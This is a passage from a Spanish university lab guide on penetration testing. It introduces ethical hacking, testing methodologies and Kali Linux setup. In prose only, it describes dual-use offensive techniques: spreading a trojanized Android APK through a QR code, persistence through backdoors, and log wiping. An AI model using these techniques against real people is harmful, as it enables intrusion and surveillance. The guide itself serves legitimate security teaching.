Está en la página 1de 51

PRUEBAS DE PENETRACIÓN DE SISTEMAS INFORMÁTICOS

Ing. Vincenzo Mendillo

Diciembre 2020

Objetivo: Familiarizarse con las técnicas y herramientas como Nmap, Kali Linux y Metasploit, utilizadas por los auditores de
seguridad, intrusos y hackers para penetrar en equipos ajenos y tomar su control, aprovechándose de las brechas de seguridad
existentes en una red y sus servicios o explotando las vulnerabilidades y fallas en las aplicaciones del lado del usuario.

Requisitos: Conocimientos de Linux. Se recomienda consultar la presentación sobre Auditoría de Seguridad, Hacking Ético y Pruebas
de Penetración.

Plataformas: Kali Linux y Windows.

Prácticas relacionadas: Pruebas de penetración avanzadas de sistemas informáticos - Pruebas de penetración con troyanos y
ofuscación de código - Ataques de Ingeniería Social mediante SET - Auditoría de seguridad de redes y servicios mediante Nmap y
Nessus - Ataques a las contraseñas de Windows - Ataques a las contraseñas de servicios en línea - Configuración y operación de
Linux.

Sección A: Introducción

La seguridad de la información se ocupa principalmente de proteger la confidencialidad, integridad y disponibilidad de la


información en sus estados de procesamiento, almacenamiento y transmisión. En los complejos entornos de red actuales, la
exposición potencial al riesgo es cada vez mayor y mantener seguros los sistemas se convierte en un auténtico reto. Una
organización puede alcanzar un nivel de protección óptimo en un momento determinado y ser totalmente vulnerable poco
después, tras cambios en la configuración de un servidor o tras la instalación de nuevos equipos. Además continuamente aparecen
nuevas fallas de seguridad en el software existente, que previamente se creía seguro.
En este ambiente tan cambiante es que surge la figura del Hacker Ético, el cual se encarga de encontrar la mayor cantidad de
posibles fallas en un sistema o plataforma, tanto de diseño como de desarrollo, de implementación e incluso de uso. Y una vez
halladas, trata de sacar provecho para ganar privilegios y escalar dentro de los sistemas, intentando acceder a información y
recursos restringidos. El Ethical Hacker es un profesional de la seguridad informática que utiliza técnicas (ej. ingeniería social) y
herramientas (ej. Metasploit) como las que usan los hackers y los delincuentes informáticos, pero sin mala intención, más bien con
el fin de determinar el nivel efectivo de riesgo y proponer eventuales acciones correctivas para mejorar el nivel de seguridad. El
objetivo es analizar y categorizar las debilidades explotables basadas en el impacto potencial y posibilidad de ocurrencia, para luego
dar recomendaciones a fin de reducir las vulnerabilidades y mitigar el riesgo.
Las organizaciones (entes públicos y privados, bancos, etc.) comienzan a darse cuenta de las ventajas que trae el hacer pruebas
de penetración exhaustivas para así complementar sus esfuerzos en seguridad de la información y lograr encontrar vulnerabilidades
antes que los atacantes; agregando a esto el cumplimiento de requerimientos legales y normas como en el caso PCI DSS (Payment
Card Industry Data Security Standard) de tarjetas de crédito.
Existe cierta confusión sobre hacking ético, pruebas de penetración, análisis de vulnerabilidades y auditoría de seguridad. Esta
última por lo general abarca las 3 áreas anteriores y mucho más, incluyendo por ejemplo la seguridad física, administrativa
(políticas, normas y procedimientos) y legal. El análisis de vulnerabilidades consiste típicamente un escaneo automatizado mediante
herramientas como LANguard, Nessus y OpenVAS para descubrir brechas en redes y sistemas (por ejemplo un servidor Web sin las
actualizaciones de seguridad). El resultado de ese análisis da una idea general del estado de la seguridad del sistema frente a los
ataques. Más avanzado es el test de intrusión o prueba de penetración (pen test en inglés), el cual una de las principales técnicas
utilizadas en hacking ético y representa un aspecto muy importante de la auditoría de seguridad. Pero no siempre se realiza, ya que
se intenta saltarse los controles y penetrar en un sistema o negar el servicio, tal como lo haría un intruso, aprovechándose de las
brechas existentes. La idea es demostrar que un sistema es vulnerable. Una de las principales características de este tipo de análisis
es la creatividad para superar los controles habituales y obviamente esto no es fácil automatizarlo.
Un plan de realización periódica de pruebas de penetración permite mitigar, en gran medida, el riesgo asociado a un entorno
informático en constante cambio y proporciona los siguientes beneficios:
 Revela el grado de vulnerabilidad de los sistemas, imprescindible para aplicar medidas correctivas.
 Descubre fallas de seguridad tras cambios de configuración o sistemas en peligro debido a su desactualización.
-2-
 Identifica configuraciones erróneas que pudieran desembocar en brechas de seguridad en dispositivos de red (switches,
routers, firewalls, etc.).
 Reduce la probabilidad de materialización de aquellos riesgos que pueden representar grandes pérdidas debido a remediación
de daños, reclamación de clientes, pérdida de oportunidad de negocio, restitución de la imagen corporativa, sanciones legales,
etc.
 Ahorra tiempo y dinero al afrontar y corregir situaciones negativas antes de que sucedan.

Las pruebas de penetración son muy utilizadas por las organizaciones con servicios accesibles desde el exterior, por ejemplo las que
alojen su propia página Web o que permitan el acceso remoto mediante VPN, ya que permiten realmente evaluar si un
determinado sitio puede ser víctima de un ataque y que tan cercano a la realidad es el riesgo. A través de esas pruebas es posible
determinar el grado de acceso a recursos vitales (ej. firewall, servidor Web, base de datos SQL) que tendrían intrusos o individuos
no autorizados. Lamentablemente las estadísticas confirman que la mayor amenaza a la seguridad la representan los propios
empleados internos, así como ex-empleados externos que trabajan en otra empresa o por su cuenta. Todos ellos suelen poseer
mucha información sobre los sistemas. Por tales razones hay distintas formas de llevar a cabo las pruebas:
 Tests de intrusión externa: Se realiza desde afuera (usualmente desde Internet) con el fin de evaluar los mecanismos
perimetrales de seguridad informática de la organización (ej. firewall, IDS). También se intenta penetrar la Zona Desmilitarizada
(DMZ) para luego acceder a la red interna. Se compone de un elevado número de pruebas. Para mencionar algunas: Escaneo de
puertos TCP y UDP; intento de acceso remoto y robustez de las contraseñas; evaluación de vulnerabilidades; uso de exploits;
ataques de negación de servicio (DoS).
 Tests de intrusión interna: Se realiza desde adentro a fin de evaluar las políticas y los mecanismos internos de seguridad de la
empresa. Se intenta averiguar qué puede hacer un atacante interno y hasta donde será capaz de llegar en los sistemas siendo un
usuario con privilegios bajos. Este test también se compone de numerosas pruebas: Análisis de protocolos internos y sus
vulnerabilidades; autenticación de usuarios; verificación de permisos y recursos compartidos; pruebas sobre los servidores
principales (WWW, DNS, FTP, SMTP, etc.); análisis de la seguridad de las estaciones de trabajo y en la red interna; evaluación de
vulnerabilidades en las aplicaciones propietarias; detección de intrusos.
 Tests de intrusión a ciegas: Se utiliza únicamente la información pública disponible sobre la organización, simulando
ataques de un hacker.
 Tests de intrusión informada: Se utiliza información adicional, suministrada por la organización, sobre sus sistemas
informáticos (topología, configuración, servicios, aplicativos, etc.), simulando ataques hechos por personas con cierto grado de
información privilegiada.

Sitios en línea para entrenamiento


Si usted piensa dedicarse seriamente al pentesting, existen sitios de entrenamiento donde puede hacerlo de forma amena y
totalmente legal. Es el caso de PentestIT (Rusia), cuyos laboratorios de pruebas están basados en entornos productivos 100% reales
(fundados sobre casos de empresas reales) con vulnerabilidades en los sistemas que están ahí, listas para ser aprovechadas por un
intruso. De forma similar, HackTheBox (UK, Grecia) es un ambiente de hacking y de retos conocidos como Capture The Flag (CTF)
donde se explotan diferentes vulnerabilidades. Hay a disposición decenas de máquinas para realizar pruebas de penetración, a las
cuales se tiene acceso mediante OpenVPN. El primer reto es obtener el Invite Code para registrarse, lo cual no es nada fácil.

Algunos videos en Internet dan pistas sobre cómo obtener el Invite Code. Con algo de paciencia y habilidad, utilizando por ejemplo
Developer Tools de Chrome (F12), se averigua que ese código se puede obtener enviando el POST
https://www.hackthebox.eu/api/invite/generate. Existen varias herramientas y plugins para enviar POST, GET y
otras peticiones web, por ejemplo Postman de Google o un proxy interceptor local como Burp. Ese código está en Base64 y hay que
decodificarlo.
-3-

Existen muchos otros sitios para practicar hacking (CTF365, HackMe, HackThisSite, VulHub, MDSec, Pentester Lab, CSS, Gruyere,
AltoroMutual, etc.). Una lista detallada se encuentra aquí.

Ejemplo de escenario para pruebas de penetración


El presidente de una empresa que ha sido presionado por la Junta Directiva a fin de efectuar pruebas de penetración a la
plataformas de la empresa. El Gerente de Informática afirma que los sistemas son seguros y opina que las pruebas de penetración
serían un desperdicio de dinero, sobre todo porque ya tiene una herramienta de escaneo de vulnerabilidades (ej. Nessus). Sin
embargo ha habido múltiples administradores encargados de los sistemas en los últimos dos años y hay dudas sobre sus
capacidades.
Por tal razón y para satisfacer a la Junta Directiva, decide contratarlo a usted y le da un plazo de 5 días para realizar el trabajo,
pues como se mencionó, él no cree haya vulnerabilidades explotables. Además le permite intentar con todos los tipos de ataques
que estén a su disposición, pues está seguro de que usted no podrá penetrar en los sistemas y obtener acceso.
Los equipos dentro de la red no son sistemas vitales y además recientemente se han hecho copias de seguridad que además han
sido verificadas, por lo tanto no hay problema sobre cualquier daño que pueda ocurrir.

Metodologías
Existen diferentes metodologías para realizar las auditorías de seguridad y los tests de penetración, una
de las más famosas por ser gratuita y abierta es la OSSTMM (Open Source Security Testing
Methodology Manual) de ISECOM. A fin de organizar su contenido, la metodología se encuentra
dividida en varias secciones. Del mismo modo, es posible identificar en ella una serie de módulos de
testeo específicos, a través de los cuales se observan cada una de las dimensiones de seguridad,
integradas con las tareas a llevar a cabo en los diferentes puntos de revisión (Seguridad de la
Información, Seguridad de los Procesos, Seguridad en las Tecnologías de Internet, Seguridad en las
Comunicaciones, Seguridad Inalámbrica y Seguridad Física). OSSTMM no sólo alcanza los ámbitos
técnicos y de operación de seguridad tradicionales, sino que, se encarga de normar aspectos tales
como: las credenciales del profesional a cargo del test, la forma en la que el test debe ser comercializado, la forma en la que los
resultados del mismo deben ser presentados, las normas éticas y legales que deben ser tenidas en cuenta al momento de concretar
el test, los tiempos que deberían ser tenidos en cuenta para cada una de las tareas, y por sobre todas las cosas, incorpora el
concepto de RAV (Valores de Evaluación de Riesgo) y con ellos la frecuencia con la cual la prueba debe ser ejecutada a fin de
proveer más que una instantánea en el momento de su ejecución.
ISSAF (Information Systems Security Assassment Framework) es una documentación detallada
respecto de las prácticas y conceptos relacionados con todas y cada una de las tareas a realizar al
conducir un test de seguridad. La información contenida dentro de ISSAF se encuentra organizada
alrededor de lo que se ha dado en llamar “Criterios de Evaluación”, cada uno de los cuales ha sido
escrito y/o revisado por expertos en cada una de las áreas de aplicación. Estos criterios de
evaluación a su vez, se componen de los siguientes elementos: Una descripción del criterio de
evaluación, puntos y objetivos a cubrir, los pre-requisitos para conducir la evaluación, el proceso
mismo de evaluación, el informe de los resultados esperados, las contramedidas y recomendaciones, referencias y documentación
externa. Por su parte y a fin de establecer un orden preciso y predecible, dichos “Criterios de Evaluación”, se encuentran contenidos
dentro de diferentes dominios entre los que es posible encontrar, desde los aspectos más generales, como ser los conceptos básicos
-4-
de la “Administración de Proyectos de Testeo de Seguridad”, hasta técnicas tan puntuales como la ejecución de pruebas de SQL
injection o de cracking de contraseñas. Pero a diferencia de lo que sucede con metodologías más generales, si el framework no se
mantiene actualizado, muchas de sus partes pueden volverse obsoletas rápidamente (específicamente aquellas que involucran
técnicas directas de test sobre determinado producto o tecnología). Sin embargo esto no debería ser visto como una desventaja,
sino como un punto a tener en cuenta a la hora de su utilización
OTP (OWASP Testing Project) está enfocado a la auditoría de aplicaciones Web. Esta
metodología consta de 2 partes: En la primera se abarcan los siguientes puntos: Principios del
testeo, explicación de las técnicas de testeo, explicación general acerca del framework de testeo
de OWASP. En la segunda parte se describen las técnicas necesarias para testear cada paso del
ciclo de vida del desarrollo de software. Se incorporan aspectos claves relacionados con el ciclo
de vida del desarrollo del software (SDCL) a fin de que el ámbito del testeo a realizar comience mucho antes de que la aplicación
Web se encuentre en producción. De este modo, y teniendo en cuenta que un programa efectivo de testeo de aplicaciones Web,
debe incluir como elementos a testear: personas, procesos y tecnologías.
A continuación se describen las etapas o fases de un test de penetración típico. La profundidad con que se lleven a cabo las
actividades dependerá de ciertos factores, entre los que se destaca el nivel de riesgo que puede generar alguno de los métodos
aplicados durante la auditoría. En tal sentido es prudente establecer un acuerdo previo con el cliente.

 Fase de reconocimiento (footprinting) : Posiblemente ésta sea una de las etapas que más tiempo demande, ya que requiere
recopilar la mayor cantidad de información sobre el sitio o el sistema, que luego será utilizada a lo largo de las siguientes fases.
La información que se busca abarca desde nombres y direcciones de correo de los empleados de la organización, hasta la
topología de la red, direcciones IP, entre otros. Para tal fin se utilizan buscadores como Google, herramientas de análisis de DNS,
WHOIS y muchos otros recursos disponibles en Internet. Cabe destacar que el tipo de información o la profundidad de la
pesquisa dependerán de los objetivos que se hayan fijado al inicio de la auditoría.
 Fase de escaneo: Utilizando la información obtenida previamente se buscan posibles formas de ataque. Esta etapa involucra el
escaneo de puertos y servicios mediante herramientas como Nmap. Posteriormente se realiza el escaneo de vulnerabilidades
mediante herramientas como Nessus, OpenVAS, Kali Linux, LanGuard, Nexpose, Retina que permitirá afinar los vectores de
ataque.
 Fase de enumeración : El objetivo de esta etapa es la obtención de los datos referente a los usuarios, nombres de equipos,
servicios de red, entre otros. A esta altura de la auditoría, se realizan conexiones activas con el sistema y se ejecutan consultas
dentro del mismo.
 Fase de acceso: Es la parte más interesante de la ejecución de pruebas de penetración y la que lo hace diferente a un escaneo de
vulnerabilidades, muchas veces llamado “análisis de vulnerabilidades”, donde solo se llega hasta las fases anteriores, es decir
que se identifican las vulnerabilidades, pero sin comprobar si pueden ser explotadas. Esta etapa dependerá totalmente de los
resultados obtenidos en las etapas anteriores, por lo que cada prueba será diferente de acuerdo a los servicios existentes y las
vulnerabilidades presentes. En esta etapa finalmente se realiza el intento de acceso al sistema a partir de la explotación de
aquellas vulnerabilidades detectadas y que pudieran ser aprovechadas por el auditor para penetrar en el sistema, utilizando
sofisticadas herramientas como Metasploit, cuyo uso se verá más adelante en esta práctica.
 Fase de mantenimiento de acceso : Luego de haber obtenido el acceso al sistema, se busca la manera de que el sistema
penetrado se mantenga a disposición de quien lo haya atacado en el futuro (usualmente instalando un rootkit o una puerta
trasera). Esta fase no siempre la realiza un pentester, pero le interesa mucho a un intruso malintencionado.
 Fase de eliminación de evidencias : El siguiente paso de un intruso inteligente sería borrar sus huellas, para que el administrador
de los sistemas no se de cuenta que sus equipos fueron penetrados si el objetivo es volver, o para no ser acusado de un delito
informático. Así que el intruso borra los scripts que utilizó, limpia los registros de eventos (logs) y podría llegar incluso a
-5-
formatear un disco duro para no ser rastreado, con el consecuente daño para la organización.
 Fase de documentación : En esta fase se plasma de forma entendible a todas las pruebas y descubrimientos. Lo de entendible es
porque luego los resultados probablemente den muchas vueltas por despachos y caigan bajo los ojos de gerentes que no tiene
por qué tener un perfil técnico. Además de un resumen ejecutivo, se debe elaborar un informe detallado donde se reportan
concienzudamente todas las vulnerabilidades que se ha descubierto sobre los sistemas, descripción de las intrusiones con sus
respectivas evidencias, señalando aquellos aspectos que que ameritan especial importancia o son más urgentes. Vea aquí un
ejemplo de informe.

Para más información busque en Internet y consulte algunos de los libros en la carpeta Hacking\Libros del material de apoyo del
curso. Se recomienda en particular el libro de Georgia Weidman: Penetration Testing: A Hands-On Introduction to Hacking.

Herramientas para las pruebas de penetración


Hoy día existen numerosos productos y herramientas para realizar pruebas de penetración, algunos
diseñados más específicamente para escaneo de vulnerabilidades. Tal es el caso de Nessus y LanGuard.
Pero quizás hoy día la herramienta por excelencia para auditoria de seguridad, con un enfoque especial
hacia la realización de pruebas de penetración, es Kali Linux (el antiguo BackTrack). Se trata de una de
las más conocidas y apreciadas distribuciones GNU/Linux que no debería faltar entre los recursos de un
buen analista de seguridad. La versión 2 está basada en Debian. Se distribuye en forma de Live-DVD
como imagen ISO y como máquina virtual (por lo que no necesita instalación), proporcionando en pocos
minutos acceso a centenares herramientas de todo tipo (sniffers, exploits, análisis forense, etc.) perfectamente organizadas.
Permite colocar los adaptadores inalámbricos en modo monitor con el fin de realizar auditorías a redes Wi-Fi. Incluye Metasploit
Framework, cuyo uso se explica más adelante. Tiene preinstalado OpenVAS (pero no Nessus) y W3AF (Web Application Attack and
Audit Framework), cuyo uso se explica en la guía de la práctica Auditoria de aplicaciones Web mediante W3AF.
A lo largo de los años se ha publicado una serie de libros sobre Kali Linux.  Algunos se encuentran en el material de apoyo del
curso. La colección completa se encuentra en Internet.

Explotando vulnerabilidades
Una gran parte de las vulnerabilidades que se descubren en sistemas operativos como Windows, son corregidas al poco rato, ya que
Windows por lo general se actualiza automáticamente. El usuario o administrador sería realmente un irresponsable al tener el
sistema desactualizado. Por otro lado los firewalls protegen las redes y sería muy poco probable que el puerto 445 utilizado por
Windows para compartir archivos, esté visible desde Internet. Hoy día los ataques están más enfocados a explotar las
vulnerabilidades en los servidores Web públicos (ej. Buffer Overflow, SQL Injection, Cross-Site Scripting), ya que su puerto 80 o 443
está abierto. Herramientas como Nmap y otras más avanzadas como Nessus y OpenVAS, son útiles para encontrar puertos abiertos
en una máquina y si determinar hay servicios vulnerables detrás de esos puertos, por ejemplo un servidor Web, FTP o SMB. Otra
modalidad es explotar las vulnerabilidades del lado del cliente, donde continuamente se descubren y publican fallas en Acrobat
Reader, en navegadores de Internet (Explorer, Firefox, Chrome) en aplicaciones ofimáticas (MSOffice, OpenOffice), en
reproductores multimedia (Flash Player), etc. En el software que corre del lado del cliente no hay puertos en escucha, sino que se
debe averiguar si las aplicaciones instaladas son vulnerables (posiblemente porque no se actualizaron o se puede montar un ataque
del día cero). En estos casos el exploit utilizado por un atacante o un pentester no se lanza contra un puerto, sino que se basa, por
ejemplo, en engañar al usuario para que abra un archivo PDF infectado o que corra un archivo EXE el cual contiene un troyano o
que visite un sitio Web que ha sido hackeado. Así se activa la trampa, abriendo la conexión hacia el atacante desde el lado de la
víctima, para que luego mediante un canal inverso, éste tome control de la máquina de la víctima. El engaño es uno de los tantos
aspectos de aspectos de la llamada ingeniería social, la cual se ha convertido en una forma de ataque cada vez más utilizada. La
razón es que, a pesar de que la tecnologías cambian, una característica que se mantiene igual es el descuido de la seguridad por
-6-
parte de los usuarios. Sin embargo, los auditores de seguridad por lo general no son tan buenos en estas técnicas y menos aún
saben utilizarlas en los tests de penetración.
En estos tiempos donde cada vez hay más smartphones y tablets, los atacantes se están dedicando a atacar masivamente a
dichos dispositivos para extraer información personal o cometer otras acciones indebidas. Un blanco preferido son los teléfonos con
sistema operativo Android, creando aplicaciones del tipo APK que contienen un troyano mediante el cual el atacante obtiene el
control remoto. Luego envía ese enlace a la víctima, persuadiéndola para que descargue y ejecute la aplicación infectada. El engaño
puede que no funcione si la víctima es desconfiada. Una trampa más atractiva es colocar en una página Web una imagen con un
código QR que apunte al sitio en Internet donde se encuentra alojado el archivo APK . Se puede crear un código QR en sitios
gratuitos como https://www.the-qrcode-generator.com. Allí se escribe la URL del sitio en Internet donde está alojado ese archivo
tipo APK.

Los códigos QR son fácilmente identificables por su forma cuadrada y por los tres cuadros ubicados en las esquinas superiores e
inferior izquierda. A diferencia de un código de barras convencional, la información está codificada dentro del cuadrado,
permitiendo almacenar gran cantidad de información alfanumérica. La posibilidad de extraer fácilmente los datos mediante la
cámara en teléfonos y tabletas ha impulsado su uso en un sinfín de aplicaciones: páginas web, blogs, publicidad, mercadeo, diseño
gráfico, tarjetas de visita, catálogos. También se prestan para ataques malintencionados.
Entre las muchas herramientas utilizadas para crear troyanos, se puede mencionar AndroRAT, un software de código libre que
permite troyanizar una aplicación APK legítima. Una vez instalado en el dispositivo de la víctima, AndroRAT puede monitorear las
actividades, hacer llamadas telefónicas, enviar mensajes SMS, obtener coordenadas GPS del dispositivo, activar y usar la cámara y el
micrófono, asi como tener acceso a los archivos.
Otro blanco preferido de los atacantes son los navegadores de Internet (Explorer, Firefox,
Chrome). Un caso muy interesante es el siguiente: En enero de 2010 se hizo pública de una grave
falla de Internet Explorer identificada como CVE-2010-0249 y KB979352. Aprovechando esa todavía
desconocida vulnerabilidad, en los meses anteriores se había lanzado un ataque masivo (llamado
Operation Aurora) contra varias corporaciones transnacionales entre las que se encontraban
Google, Yahoo, Symantec, Juniper, Dow Chemical y otras más. En función de análisis realizados
sobre el código fuente del malware involucrado en la operación, se llegó a la conclusión de que el
exploit era posiblemente es de origen chino, ya que en el código fuente se encontraron referencias del idioma chino simplificado.
De hecho, el nombre Operation Aurora fue dado por los investigadores luego de detectar en el código fuente de uno de los malware
involucrados en el ataque, cadenas de caracteres que se refieren al proyecto como “aurora”. Existen varias hipótesis sobre la razón
del ataque. Las más plausibles son dos: 1) Robar información de propiedad intelectual a grandes compañias; 2) Penetrar cuentas de
Gmail de activista de derechos humanos en China contrarios al régimen.
Los intrusos utilizaron el exploit enviando correos a ciertos empleados con permisos de acceso elevados. La combinación de
mensajes que parecían provenir de fuentes de confianza y de la vulnerabilidad en Internet Explorer puede haber sido la razón del
éxito de dichos ataques.
El exploit luego fue utilizado por delincuentes informáticos para propagar gran cantidad de malware y reclutar zombies para
botnets de forma automatizada desde distintos sitios a través de drive-by-download, una técnica invasiva que permite infectar
masivamente a los usuarios simplemente ingresando a un sitio web determinado. Mediante esta técnica, los creadores y
diseminadores de malware propagan sus creaciones aprovechando las vulnerabilidades existentes en diferentes sitios Web e
inyectando código dañino al código original.
-7-

Seccion B: Instalación de Kali Linux

Kali Linux se puede iniciar, instalar y usar de varias maneras. Lo primero es disponer de la imagen ISO (unos 3 GB), que se puede
descargar desde el sitio oficial de Kali Linux o quizás más rápidamente mediante una red P2P como Bittorrent. Tenga en cuenta que
hay una versión de Kali Linux para máquinas de 32 bit y otra versión de 64 bit. Con esa imagen ISO se podría grabar un DVD y se
reinicia la PC o laptop para que arranque con el DVD.
Una mejor solución es instalar Kali Linux en una memoria USB (pendrive) de al menos 4 GB utilizando una utilidad como
Easy2Boot o YUMI (Your Universal Multiboot Integrator). De esta manera se inicia mucho más rápidamente en comparación con un
Live-DVD. Tenga en cuenta que los equipos más recientes utilizan UEFI (Unified Extensible Firmware Interface) en lugar del BIOS
tradicional (Basic Input/Output System) y por seguridad UEFI no permite el arranque desde dispositivos externos. En tal caso deberá
modificar el Setup y activar LEGACY en lugar de UEFI.
-8-
Tenga en cuenta que si usted inicia Kali Linux desde un DVD o una memoria USB, no podrá abrir y consultar esta guía, que está en
Word: entonces conviértala en PDF desde Office o con algún convertidor online.
Windows 10 dispone de la la posibilidad de correr nativamente Linux (por ejemplo Ubuntu y SUSE) mediante una funcionalidad
llamada Windows Subsystem for Linux (WSL). Recientemente se ha añadido Kali Linux. Más información aquí y en Google.
Posiblemente la forma más fácil de familiarizarse con Kali Linux es corriéndolo como máquina virtual sobre VMware o
VirtualBox, pero se requieren al menos 2 GB de memoria RAM para que funcione decentemente. Una ventaja es que, mediante la
suspensión, se puede apagar la máquina virtual sin perder los cambios. Además se puede hacer casi cualquier cosa como si se
corriera de manera nativa, con la excepción de ciertas tareas wireless. De hecho, las herramientas wireless (tanto 802.11 como
Bluetooth) no funcionarán en ambiente virtual, ya que los adaptadores inalámbricos no están virtualizados y son emulados como
adaptadores Ethernet cableados.
A continuación se explica cómo instalar Kali Linux en una máquina virtual VMware. La instalación para VirtualBox es parecida y
puede guiarse por la guía Máquinas y redes virtuales. Si va a correr Kali Linux de un DVD o una memoria USB, salte a la siguiente
sección.
Si todavía no lo ha hecho, instale VMware Player, descargando la última versión de aquí.

Ejecute VMware Player y seleccione Create a New Virtual Machine.

Luego seleccione I will install the operating system later. Si en cambio selecciona alguna de las otras 2 opciones, VMware intentará
instalar de una vez Kali Linux, lo cual no es conveniente por ahora.

A continuación seleccione el tipo de sistema operativo huésped (host) que va a instalar en la máquina virtual (Linux) y la versión
(Debian).
-9-

También debe especificar el nombre de la máquina virtual y dónde va a estar físicamente ubicada.

Seleccione un tamaño del disco virtual de unos 10 GB:

Antes de finalizar la creación de la máquina virtual, pulse Customize Hardware para desactivar algunos dispositivos, en caso de que
no los vaya a requerir (ej. impresora). El tamaño de la memoria es importante y se aconseja configurarlo con 1 GB de RAM. Luego
vaya a Network Adapter y seleccione el tipo de conexión. El modo NAT es generalmente el más conveniente para las pruebas de
penetración, ya que la máquina queda menos visible. Sin embargo en las pruebas con SET ( Social Engineering Toolkit) y Metasploit,
la máquina de la víctima requiere conectarse a la máquina del atacante, la cual debe ser visible. Por tal razón seleccione el modo
puente (bridged).
-10-

Pulse Configure Adapters y seleccione qué adaptador va a utilizar como puente.

Seguidamente vaya a New CD/DVD (IDE) y seleccione Use ISO image file. Mediante Browse navegue a la carpeta donde se
encuentra la imagen ISO de Kali Linux.

Finalmente pulse Finish para completar la instalación. Para iniciar la máquina, pulse la flecha Play virtual machine.
-11-
Quizás note alguna dificultad para usar el ratón y el teclado. Si usted se encuentra en el escritorio de Windows y hace clic dentro de
la ventana de Kali Linux, el control del ratón pasa a manos del este último. Para regresar el control del mismo a Windows debe
presionar Ctrl+Alt. Puede cambiar el control entre la máquina real y virtual mediante Ctrl+Alt y Ctrl+G. Para cambiar de ventanas en
Windows, use como siempre Alt+Tab.

Al poco rato le aparecerá el aviso de instalar VMware Tools, lo cual lleva bastante tiempo para la descarga y la instalación también
es complicada. Puede saltar este paso, pero se pierde cierta funcionalidad, que resulta útil en Kali Linux (por ejemplo copiar desde
la máquina física y pegar en la máquina virtual).

Seccion C: Primero pasos con Kali Linux

Al correr Kali Linux la primera vez, se muestra el Boot menu, que permite iniciar Kali Linux como Live o instalarlo en el disco duro.
Esto último es recomendable si Ud. se dedica profesionalmente a efectuar auditorías de seguridad y quiere que los datos de
configuración y actualización se guarden permanentemente. Podría por ejemplo instalar Kali Linux en una segunda partición de
unos 8 GB, dejando la primera partición para Windows. Pero si va a correr Kali Linux como máquina virtual, no es recomendable
instalarlo.

La opción Live (686-pae) es la más conveniente para empezar a familiarizarse con Kali Linux. PAE (Physical Address Extension) es una
característica de los procesadores x86 que permite a los sistemas de 32 bit utilizar hasta 64 GB de memoria física, suponiendo que el
sistema operativo proporcione el adecuado soporte. Si está usando VirtualBox, deberá activar esa opción en la configuración de la
máquina virtual.

La opción Live (forensics mode) es útil en ciertos casos, ya que garantiza que no se utilizará la partición swap, para así no alterar la
información en el disco duro.

La opción Install es para efectuar una instalación permanente en la máquina (real o virtual) y lleva algún tiempo. No se recomienda
por ahora.
-12-
Entonces escoja Live (686-pae) y pulse Enter. Si todo sale bien, al poco rato aparecerá la interfaz gráfica de Kali Linux. Si hay
problemas, pruebe con la opción Live (686-pae failsafe).

Nota: si usted deja el sistema desatendido por unos minutos, la pantalla se bloquea y deberá introducir las credenciales login = root
password = toor. En las nuevas versiones de Kali Linux a partir del año 2020, ya no existe la cuenta de root y las credenciales son
login = kali password = kali.

La aplicaciones más utilizadas se muestran con su respectivo ícono en la barra vertical izquierda. El ícono Show Applications las
muestra en forma desplegada y permite buscarlas.

Otra forma de buscar aplicaciones es desde el menú superior, bajo la pestaña Applications.
-13-
Desde allí tendrá un acceso directo a la mayoría de las aplicaciones y a montones de herramientas de auditoría de seguridad,
pruebas de penetración y análisis forense, organizadas por grupos. La interfaz gráfica está repleta de sniffers, spoofers, scanners y
centenares de otras utilidades de seguridad informática. La siguiente es una breve clasificación:

 Information Gathering : These are Reconnaissance tools used to gather data on your target network and devices. Tools range
from identifying devices to protocols used.
 Vulnerability Analysis: Tools from this section focus on evaluating systems for vulnerabilities. Typically, these are run against
systems found using the Information Gathering Reconnaissance tools.
 Web Applications Analysis: These are tools used to audit and exploit vulnerabilities in web servers. Many of the audit tools we
will refer to in this book come directly from this category. However web applications do not always refer to attacks against web
servers, they can simply be web-based tools for networking services. For example, web proxies will be found under this section.
 Password Attacks: This section of tools primarily deals with brute force or the offline computation of passwords or shared keys
used for authentication.
 Wireless Attacks: These are tools used to exploit vulnerabilities found in wireless protocols. 802.11 tools will be found here,
including tools such as aircrack, airmon, and wireless password cracking tools. In addition, this section has tools related to RFID
and Bluetooth vulnerabilities as well. In many cases, the tools in this section will need to be used with a wireless adapter that
can be configured by Kali to be put in promiscuous mode.
 Reverse Engineering : These tools are used to disable an executable and debug programs. The purpose of reverse engineering is
analyzing how a program was developed so it can be copied, modified, or lead to development of other programs. Reverse
Engineering is also used for malware analysis to determine what an executable does or by researchers to attempt to find
vulnerabilities in software applications.
 Exploitation Tools: These are tools used to exploit vulnerabilities found in systems. Usually, a vulnerability is identified during a
Vulnerability Assessment of a target.
 Sniffing and Spoofing : These are tools used for network packet captures, network packet manipulators, packet crafting
applications, and web spoofing. There are also a few VoIP reconstruction applications.
 Post Exploitation: These are tools are used once a foothold is established into a target system or network. It is common to find
compromised systems having multiple hooks back to the attacker to provide alternative routes in the event a vulnerability that is
used by the attacker is found and remediated.

En la barra superior de Kali Linux seleccione Places | Computer y se abrirá el navegador de archivos. Vaya a la carpeta/usr/share.
Aquí se encuentran muchas de de las herramientas para las auditorías de seguridad.

Nota 1: Si usted no está familiarizado con Linux, consulte la guía de la práctica Configuración y operación de Linux.

Nota 2: Si usted está corriendo Kali Linux como máquina virtual, podrá montar y ver las ver las memorias USB, pero no podrá ver las
otras unidades del disco duro (por ejemplo Windows). ¿Por qué? Si en cambio está corriendo Kali Linux en modo nativo desde un
dispositivo USB, podrá ver las unidades del disco duro (por ejemplo Windows). En tal caso también podrá ver las carpetas del
dispositivo USB bajo /lib/live/mount/medium.

Cierre el navegador y haga doble clic sobre el ícono de Terminal. Mediante el comando passwd podría cambiar la contraseña
predeterminada de root (que es toor) por otra difícil de advinar. Por ahora podría utilizar admin.
-14-
Antes de continuar, es conveniente configurar el teclado, que está inicialmente en USA. Para colocarlo en español o
latinoaméricano, escriba en el Terminal:

setxkbmap -layout es
setxkbmap -layout latam

Opcional. Si lo quiera hacer desde la interfaz gráfica, haga clic en el círculo blanco a la derecha la barra superior. Allí haga clic en el
botón Settings. Luego navegue a Region & Language | Input Sources. Añada el teclado apropiado, usualmente Spanish o Spanish
(Latin American). El ícono del teclado aparecerá luego en la parte superior derecha de la pantalla, donde podrá seleccionar el
deseado.

Si usted deja el sistema desatendido por unos minutos, la pantalla se bloquea y deberá introducir las credenciales login = root
password = toor. Para eliminar este mecanismo de seguridad durante la práctica, vaya a Settings | Power y seleccione Never.

Kali Linux ofrece la posibilidad de grabar mediante audio y video las actividades realizadas, lo cual ayuda a elaborar el informe de
auditoría. También se puede capturar la pantalla mediante la aplicación Screenshot. Para tal fin haga clic sobre el icono Show
